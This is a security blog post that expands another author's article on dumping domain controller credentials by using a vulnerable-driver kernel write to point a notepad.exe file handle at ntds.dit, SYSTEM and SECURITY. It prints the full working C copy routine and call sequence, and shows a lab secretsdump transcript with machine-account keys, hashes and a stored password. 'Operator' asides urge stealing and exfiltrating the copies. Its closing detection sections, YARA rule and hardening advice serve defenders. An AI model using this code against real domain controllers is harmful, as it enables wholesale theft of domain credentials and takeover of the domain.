core-jmp core-jmpdeath of core jump

Domain Credential Dumping via File Handle Redirection

S12 points a notepad.exe File handle at ntds.dit, SYSTEM, and SECURITY on a live DC via BYOVD LowQword patch. No LSASS, no VSS. Detect path mismatch and vulnerable drivers, not MiniDump.

oxfemale September 14, 2026 15 min read 64 reads
Export PDF
Domain Credential Dumping via File Handle Redirection
Original text: "Domain Credential Dumping via File Handle Redirection"S12 – 0x12Dark Development, Medium (13 September 2026). Follow-up to Credential Dumping via File Handle Redirection. Code: DumpNTDS. Listings and figures below are reproduced verbatim with attribution captions. Lab PoC on a Domain Controller you own. Kernel write + DA is already domain compromise; this is a quieter copy path, not a new privilege.
A notepad key that now opens a vault door labeled NTDS
The handle still looks like notepad.exe. The object behind it is ntds.dit.
A hotel key rewired so it opens the vault
Kitchen: the clerk rewired the lock. The log still says lobby key.

Executive Summary

S12 (0x12Dark Development) extends File Handle Redirection from the local SAM hive to a live Domain Controller. The primitive is the same: a BYOVD kernel read/write patches _HANDLE_TABLE_ENTRY.LowQword so a File handle opened on notepad.exe now points at someone else’s _FILE_OBJECT. Three redirects copy SYSTEM, ntds.dit, and SECURITY to C:\Users\Public\. Offline secretsdump.py … LOCAL yields every domain hash, LSA secrets, and the machine account. No OpenProcess(lsass), no MiniDump, no VSS, no CreateFile on the hive. The sharing violation never happens because you never asked for a new handle to NTDS.

This draft keeps the original screenshots, the three-call sequence, the full redirectAndCopy listing, and the lab secretsdump transcript, then adds the kitchen picture of a rewired hotel key, why Direct I/O needs OVERLAPPED + 4K alignment, how getFileObjectByName finds the object via NtQuerySystemInformation without opening the file, and detections that still fire when LSASS hunts stay quiet.

The same handle table primitive that extracted local SAM hashes scales directly to full domain compromise on a live Domain Controller, three redirections, three copies, one offline secretsdump call.

S12, 13 September 2026

Introduction

The previous post patched LowQword so a File handle read SAM. This post aims the same primitive at a DC. Three files the AD stack holds open:

  • C:\Windows\NTDS\ntds.dit — Active Directory database, hashes for every domain account
  • C:\Windows\System32\config\SYSTEM — SYSKEY to decrypt ntds.dit
  • C:\Windows\System32\config\SECURITY — LSA Secrets, cached domain credentials, machine account hashes

All three are locked by the kernel and inaccessible via standard file APIs.

Diagram of file handle redirection toward NTDS
Handle still in your table; object pointer swapped. Source: original article.
Kitchen table: ntds.dit is the hotel’s guest ledger, held by the night manager (lsass) who will not share. VSS is photocopying the ledger while the manager isn’t looking — noisy, but it works. Handle redirect is borrowing a room key and having the locksmith point that key at the vault. The manager never lets go of the book.

Why ntds.dit Is Hard to Access

lsass hosts the NTDS service and holds ntds.dit exclusive. CreateFile from another process, even SYSTEM, returns ERROR_SHARING_VIOLATION. Classic workarounds: Volume Shadow Copy (snapshot, then copy), ntdsutil ifm, stopping the service (outage). All leave Event Log and EDR stories: VSS creation, ntdsutil, unexpected service stop.

Handle redirect never creates a handle to NTDS. It takes a handle you already own to an innocuous file and patches the kernel object pointer to NTDS’s _FILE_OBJECT. Subsequent ReadFile is I/O on that object. The lock is on “new opens,” not on “someone who already has a kernel pointer.”

For operators: This is not a sharing-mode bypass of NTFS in user mode. It is identity theft of a handle table entry. You still need a kernel write primitive (GIO-class BYOVD, T1547.006 / T1068) and enough privilege to load that driver on the DC. If HVCI and the vulnerable-driver blocklist hold, this PoC does not start. If they do not, you already had kernel R/W; this is how you spend it on credentials without touching lsass.

Methodology

User-mode handle, HANDLE_TABLE_ENTRY, FILE_OBJECT before and after LowQword patch
LowQword encodes the object pointer plus metadata bits. Restore after each copy.

Full flow for each target file:

  1. Open victim File handle (notepad.exe)
  2. Walk own handle table: EPROCESS → ObjectTable → TableCode → entryAddress
  3. Using getFileObjectByName(drv, target) get the _FILE_OBJECT of the target file
  4. Encode new LowQword pointing at the new target
  5. Write the new token
  6. Read and copy through the same handle
  7. When all three files are on disk, dump domain hashes offline

Three calls cover the full DC credential set:

redirectAndCopy(drv, hVictim, entryAddress, lowQword,
    L"C:\\Windows\\System32\\config\\SYSTEM",
    L"C:\\Users\\Public\\SYSTEM.bak");

ReadPrimitive(drv, &lowQword, entryAddress, sizeof(DWORD64));

redirectAndCopy(drv, hVictim, entryAddress, lowQword,
    L"C:\\Windows\\NTDS\\ntds.dit",
    L"C:\\Users\\Public\\ntds.dit");

ReadPrimitive(drv, &lowQword, entryAddress, sizeof(DWORD64));

redirectAndCopy(drv, hVictim, entryAddress, lowQword,
    L"C:\\Windows\\System32\\config\\SECURITY",
    L"C:\\Users\\Public\\SECURITY.bak");

Each ReadPrimitive between copies reloads the original LowQword so the next encode starts from a clean notepad entry, not a leftover NTDS pointer.

How getFileObjectByName finds NTDS without opening it

The helper (DumpNTDS/GetFileObjects.h on GitHub) does not call CreateFile on ntds.dit. It:

  1. Opens a reference file (notepad) to learn the current File ObjectTypeIndex from the caller’s own handle in the snapshot.
  2. Calls NtQuerySystemInformation(SystemHandleInformation = 0x10), growing the buffer on STATUS_INFO_LENGTH_MISMATCH.
  3. Walks every File-typed handle in the system, kernel-reads FILE_OBJECT.FileName Length at +0x58 and Buffer at +0x60 (x64 Win10/11), and compares the UNICODE_STRING to the target path.
  4. Returns the Object pointer from the handle table entry — the _FILE_OBJECT* you will encode into LowQword.

That is why you can “find SAM/NTDS” while CreateFile on those paths still fails. You are reading other processes’ (including PID 4) already-open objects.

Implementation: redirectAndCopy

The core function is the full patch → read → restore cycle for one target:

BOOL redirectAndCopy(HANDLE drv, HANDLE hVictim, DWORD64 entryAddress, DWORD64 lowQword, const wchar_t* targetPath, const wchar_t* destPath) {
    // 1. Get _FILE_OBJECT* of target
    DWORD64 fileObj = getFileObjectByName(drv, targetPath);
    if (fileObj == 0) { printf("[-] getFileObjectByName failed for %ws\n", targetPath); return FALSE; }
    printf("[+] FILE_OBJECT: %llX\n", fileObj);

    // 2. Encode new LowQword
    DWORD64 fileObjectHeader = fileObj - 0x30;
    DWORD64 metadataBits = lowQword & 0xFFFFFULL;
    DWORD64 objectPointerBits = (fileObjectHeader >> 4) & 0xFFFFFFFFFFFULL;
    DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;
    printf("[+] Original lowQword: %llX\n", lowQword);
    printf("[+] New      lowQword: %llX\n", newLowQword);

    // 3. Patch, LowQword only, no HighQword touch
    WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));
    printf("[+] LowQword patched\n");

    // 4. Verify
    wchar_t resolvedPath[MAX_PATH] = {};
    DWORD len = GetFinalPathNameByHandleW(hVictim, resolvedPath, MAX_PATH, VOLUME_NAME_DOS);
    if (len > 0) wprintf(L"[+] Handle resolves to: %s\n", resolvedPath);
    else         printf("[-] GetFinalPathNameByHandleW failed: %d\n", GetLastError());

    // 5. Copy via OVERLAPPED reads (aligned buffer for Direct I/O)
    HANDLE hDest = CreateFileW(destPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDest == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create dest: %d\n", GetLastError());
        // Restore before returning
        WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));
        return FALSE;
    }

    const DWORD SECTOR = 4096;
    const DWORD CHUNK = SECTOR * 16;
    BYTE* chunk = (BYTE*)VirtualAlloc(NULL, CHUNK, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!chunk) { CloseHandle(hDest); return FALSE; }

    DWORD64 offset = 0;
    DWORD   totalWritten = 0;

    while (TRUE) {
        OVERLAPPED ov = {};
        ov.Offset = (DWORD)(offset & 0xFFFFFFFF);
        ov.OffsetHigh = (DWORD)(offset >> 32);
        ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

        DWORD bytesRead = 0;
        BOOL  readOk = ReadFile(hVictim, chunk, CHUNK, NULL, &ov);
        DWORD err = GetLastError();

        if (!readOk && err == ERROR_IO_PENDING) {
            if (WaitForSingleObject(ov.hEvent, 10000) == WAIT_TIMEOUT) {
                printf("[-] Timeout at offset 0x%llX\n", offset);
                CloseHandle(ov.hEvent);
                break;
            }
            readOk = GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE);
            err = GetLastError();
        }
        else if (readOk) {
            GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE);
            err = GetLastError();
        }

        CloseHandle(ov.hEvent);

        if (!readOk || bytesRead == 0) {
            printf("[*] EOF at offset 0x%llX | err: %d\n", offset, err);
            break;
        }

        DWORD written = 0;
        WriteFile(hDest, chunk, bytesRead, &written, NULL);
        totalWritten += written;
        offset += bytesRead;
        printf("[+] %ws: offset 0x%llX | chunk %d | total %d\r", destPath, offset, bytesRead, totalWritten);

        if (bytesRead < CHUNK) break;
    }

    VirtualFree(chunk, 0, MEM_RELEASE);
    CloseHandle(hDest);
    printf("\n[+] Done: %ws = %d bytes\n", destPath, totalWritten);

    // 6. Restore original LowQword
    WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));
    printf("[+] LowQword restored\n");

    return totalWritten > 0;
}
  • Header vs object: fileObj - 0x30 is the OBJECT_HEADER; the handle table stores a shifted pointer to the header, not the FILE_OBJECT body.
  • Metadata bits: low 20 bits of LowQword kept (& 0xFFFFF); upper bits become the new object pointer (>> 4 then << 20). HighQword is not touched.
  • Verify: GetFinalPathNameByHandleW after the patch should print the NTDS/SYSTEM/SECURITY path. That API is also the defender’s best user-mode IOC.
  • Direct I/O: the hive’s FILE_OBJECT is often FO_NO_INTERMEDIATE_BUFFERING. Unaligned ReadFile fails. 4096-byte sector, 64KiB chunks, OVERLAPPED, VirtualAlloc page-aligned buffer.
  • Restore: always write original LowQword back, including on CreateFile dest failure. A handle left pointing at NTDS after the process exits is a crash and a forensic gift.
Kitchen table: You photocopy the vault in 64-kilobyte pages because the vault door only swings in even centimeters. You put the original lock back before you leave so the next guest’s key still opens room 101.

Full project: https://github.com/S12cybersecurity/HandleRedirect/tree/main/DumpNTDS (DumpNTDS.cpp, DrvOps.h, GetOffsets.h, GetFileObjects.h).

Proof of Concept

PoC console locating FILE_OBJECTs and copying hives
Console: FILE_OBJECT found, LowQword patched, copy, restore. Source: original article.

Then the files are on disk:

ntds.dit, SYSTEM.bak, SECURITY.bak in Public
Copied hives in C:\Users\Public. Source: original article.

Offline dump with Impacket (lab transcript from the original post):

salsa@salsa:~/0x12DarkDevelopment/Maldev/AD/elpapadelospapas$ python3 secretsdump.py -ntds ntds.dit -system SYSTEM.bak -security SECURITY.bak LOCAL
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xb9af5a16824ac3494f8b507ffa421911
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
LAB\DC01$:aes256-cts-hmac-sha1-96:6301ede772a3e667f85945074d0d4e8d19d9ffe813f8d34b05d204b7c8d13b43
LAB\DC01$:aes128-cts-hmac-sha1-96:4cf6dd9f44f93fe356d685ca2200b902
LAB\DC01$:des-cbc-md5:3198d56b2f081a5e
LAB\DC01$:plain_password_hex:0374ff4ce6bb78605bd6af7ee1ab4e0db03c51d204f39aa35e25420db3e007e733d404366a10ca7ea27466cde2e24e17887f6ada730ad48c698dd38b2f42d6ce6264dd833c9fb78805aa378403c9a9fc20994d132d4d2310ff257d5db2a855fcb602ae59332e25080ec2d3d196e4d9e94b8f666071023a38ca7d35d74aa21fc98040a88cf159a10c422da42d09b204a205958659466c342c506435f60f464d607c4d467ff7ba8dcb49917e6f91dcd7ab766261b5feb84bf35e6c357c623742dabc5336d45d393efeb5ed40e2efb36ef9625c83a3512b3928ef22ab2de42072b2893a4fb5a322ee99e71998845a162a85
LAB\DC01$:aad3b435b51404eeaad3b435b51404ee:5b07777458013a4c8c1569963f730dae:::
[*] DefaultPassword 
(Unknown User):Lab@123456!
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x18bcd69831c0484548d43ffbc557625127c0e51e
dpapi_userkey:0x84fbc3f7f78a534081a278e7d4b0dcb35eede1ba
[*] NL$KM 
 0000   5A 96 75 71 BA 8C 78 3E  9E F4 66 4D 07 A0 72 61   Z.uq..x>..fM..ra
 0010   D7 12 0B 81 F7 2B 88 87  1F 11 C3 4D 72 D8 AD E9   .....+.....Mr...
 0020   BE 78 2C FA E9 0D 76 73  66 08 F3 50 E7 A4 FC 61   .x,...vsf..P...a
 0030   6C B6 66 81 38 0B 19 C0  AD 38 D1 BF E9 56 49 C0   l.f.8....8...VI.
NL$KM:5a967571ba8c783e9ef4664d07a07261d7120b81f72b88871f11c34d72d8ade9be782cfae90d76736608f350e7a4fc616cb66681380b19c0ad38d1bfe95649c0
[-] NTDSHashes.__init__() got an unexpected keyword argument 'trustKeys'
[*] Cleaning up...

secretsdump.py: fortra/impacket. The lab output shows bootKey, $MACHINE.ACC, DefaultPassword Lab@123456!, DPAPI_SYSTEM, NL$KM. The NTDS hash dump itself errored in that run (unexpected keyword argument 'trustKeys') — still enough LSA material to illustrate the path. A current Impacket on the same three files completes the NTDS hash list.

For operators: DefaultPassword in LSA is a DC that was DCPROMO’d with a stored local admin password — a finding by itself. Machine account AES keys are silver-ticket material. Treat the Public copies as equivalent to a full ntdsutil IFM drop: steal, exfil, wipe, or you have left the domain on disk.

ATT&CK Mapping

IDNameThis technique
T1003.003OS Credential Dumping: NTDSCopy ntds.dit without VSS
T1003.004LSA SecretsSECURITY hive
T1003.002Security Account Managernot used here; previous post
T1003.001LSASS Memoryexplicitly avoided
T1547.006Kernel Modules and Extensionsvulnerable driver load
T1068Exploitation for Privilege EscalationIOCTL arbitrary R/W
T1078Valid Accountshashes / machine account after dump

What Still Gets You Caught

  • Path mismatch: handle opened on notepad.exe, GetFinalPathNameByHandle / minifilter sees NTDS. The previous SAM post called this the primary behavioral IOC. It still is.
  • Driver load: GIO / loldrivers image-load. HVCI + Microsoft blocklist is the cheap prevent.
  • NtQuerySystemInformation(0x10) from a non-diagnostic process enumerating every File handle on the DC.
  • Writes under Public: ntds.dit / SYSTEM.bak / SECURITY.bak created by a random EXE.
  • No VSS, no lsass handle: absence of the usual T1003.001/002 story is not “clean”; it is a reason to hunt the mismatch.
  • secretsdump / mimikatz offline on a workstation that just received three large files from a DC.

Related YARA from the SAM post (author: 0x12 Dark Development) still fingerprints the handle-table math:

rule FileHandleRedirect_CredDump
{
    meta:
        author      = "0x12 Dark Development"
        description = "Detects binaries implementing File handle redirect for credential access"
        reference   = "https://0x12darkdev.net"
        severity    = "critical"
    strings:
        $tableCode_mask = { 48 83 E? F8 }           // tableCode & ~0x3
        $entry_calc     = { C1 E? 02 6B ?? 10 }      // (handle/4)*16
        $fname_off1 = { 66 8B 4? 58 }               // Length at +0x58
        $fname_off2 = { 48 8B 4? 60 }               // Buffer at +0x60
    condition:
        uint16(0) == 0x5A4D and 3 of them
}

LowQword Encoding, Without Hand-Waving

A 64-bit handle-table entry on modern Windows is not a raw pointer. The object header address is shifted and mixed with lock/ref metadata in the low bits. S12 keeps the low 20 bits of the original entry (access/lock state for that handle) and splices in (header >> 4) in the upper portion. Subtracting 0x30 from the FILE_OBJECT body lands on OBJECT_HEADER, which is what the table is defined to store. If you write the FILE_OBJECT address unshifted, ObpReferenceObjectByHandle walks off into space and the box bugchecks. That is why restore is not optional: a process exit with a forged entry can take the object manager with it.

Compared with the Usual NTDS Theft Menu

MethodTouches lsass?New handle to hive?Typical telemetry
MiniDump / comsvcsyesno (memory)Sysmon 10, 4688 rundll32
VSS + copynoyes, on snapshotVSS events, ntds.dit from VolumeShadowCopy
ntdsutil ifmindirectyes4688 ntdsutil, IFM folder
DCSyncno (RPC)no4662 replication rights
Handle redirect (this)nono (stolen object)path mismatch, driver load, Public\ntds.dit
Same destination (domain hashes). Different noise. Defenders who only alert on the first four miss the fifth.

DCSync is still quieter on a workstation that already has Replicating Directory Changes. This technique is louder than DCSync if you have those rights, and quieter than VSS if you only have a kernel write on the DC itself. Pick the primitive that matches the access you already burned. Do not load GIO on a DC because a blog post exists.

What We Added

  • Kitchen key-fob / vault picture and the three-ledger idea from the PID-mutation cousin (different lie: identity vs object pointer).
  • getFileObjectByName walk: type index, NtQuerySystemInformation 0x10, FileName at +0x58/+0x60.
  • Why Direct I/O and OVERLAPPED are required on hive FILE_OBJECTs.
  • Comparison table vs MiniDump, VSS, ntdsutil, DCSync.
  • YARA from the SAM post, still valid for the NTDS variant.
  • KRBTGT rotation reminder after a suspected copy.
Kitchen table: LSASS is the night manager holding the ledger. VSS is a photocopier in the hallway. This trick is a room key that the locksmith pointed at the safe. The CCTV still records “guest used room key.” Watch which door the key actually opened.

Key Takeaways

  • Same primitive as SAM dump: steal a File handle’s kernel object, do not open the hive.
  • Three files: SYSTEM (SYSKEY), ntds.dit (hashes), SECURITY (LSA). Order in the listing restores LowQword between copies.
  • ERROR_SHARING_VIOLATION is a CreateFile problem. A borrowed FILE_OBJECT does not CreateFile.
  • Direct I/O + OVERLAPPED + 4K alignment is load-bearing, not style.
  • Restore LowQword or you crash and leave a smoking handle.
  • EDR that only watches lsass and VSS will narrate a quiet night. Hunt path mismatch and driver loads.
  • Lab DC only. Kernel write on a DC is already the domain.

Defensive Recommendations

  1. HVCI + vulnerable driver blocklist on every DC. GIO should never load.
  2. Alert on image-load of loldrivers hashes on DCs (high severity, no exception for “update tools”).
  3. Minifilter or Sysmon: File handle whose create path ≠ IRP path, especially when IRP path is NTDS|SAM|SECURITY.
  4. Sysmon 11 / 23: ntds.dit or *.bak under Users\Public, Temp, or non-NTDS directories.
  5. Watch NtQuerySystemInformation class 16 from unsigned or unusual publishers on DCs.
  6. Credential Guard / HVCI does not stop a kernel write to your handle table. Isolation of the DC’s ability to load 3rd-party .sys is the control.
  7. After suspected copy: assume KRBTGT and all hashes burned. Rotate KRBTGT twice, reset machine passwords, review LSA DefaultPassword.
  8. Do not run this PoC on a production DC. Snapshot lab, HVCI-off only if you are studying the primitive.

Conclusions

The handle-table primitive that read local SAM scales to a live DC: three redirections, three copies, one secretsdump. No lsass, no VSS, no registry API. Windows still knows which FILE_OBJECT belongs to NTDS. Your process’s handle table briefly pretends otherwise. Sysmon that never looks at that lie will write a novel about notepad.exe reading a 50 MB file. The remaining detector is the same as the SAM post: the path at open versus the path at I/O, plus the driver that made the pointer writable.

Original text: “Domain Credential Dumping via File Handle Redirection” by S12 – 0x12Dark Development at Medium. Prior technique: SAM hive redirect. Code: DumpNTDS.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion